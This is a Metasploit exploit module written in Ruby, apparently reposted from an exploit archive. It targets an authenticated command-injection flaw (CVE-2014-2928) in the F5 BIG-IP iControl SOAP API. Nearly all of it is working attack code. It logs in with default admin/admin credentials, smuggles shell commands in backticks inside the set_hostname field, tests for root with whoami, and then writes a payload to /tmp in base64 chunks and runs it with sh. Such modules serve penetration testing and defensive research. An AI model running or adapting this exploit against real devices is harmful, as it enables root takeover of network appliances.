F5 iControl – Remote Command Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "F5 iControl Remote Root Command Execution", 'Description' => %q{ This module exploits an authenticated remote command execution vulnerability in the F5 BIGIP iControl API (and likely other F5 devices). }, 'License' => MSF_LICENSE, 'Author' => [ 'bperry' # Discovery, Metasploit module ], 'References' => [ ['CVE', '2014-2928'], ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['F5 iControl', {}] ], 'Privileged' => true, 'DisclosureDate' => "Sep 17 2013", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) ], self.class) end def check get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <n1:get_hostname xmlns:n1="urn:iControl:System/Inet" /> </SOAP-ENV:Body> </SOAP-ENV:Envelope> } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => get_hostname, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) res.body =~ /y:string">(.*)<\/return/ hostname = $1 send_cmd("whoami") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => get_hostname, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) res.body =~ /y:string">(.*)<\/return/ new_hostname = $1 if new_hostname == "root.a.b" pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <n1:set_hostname xmlns:n1="urn:iControl:System/Inet"> <hostname>#{hostname}</hostname> </n1:set_hostname> </SOAP-ENV:Body> </SOAP-ENV:Envelope> } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => pay, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def send_cmd(cmd) pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <n1:set_hostname xmlns:n1="urn:iControl:System/Inet"> <hostname>`#{cmd}`.a.b</hostname> </n1:set_hostname> </SOAP-ENV:Body> </SOAP-ENV:Envelope> } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', 'data' => pay, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) end def exploit filename = Rex::Text.rand_text_alpha_lower(5) print_status('Sending payload in chunks, might take a small bit...') i = 0 while i < payload.encoded.length cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}" send_cmd(cmd) i = i + 5 end print_status('Triggering payload...') send_cmd("sh /tmp/#{filename}") end end |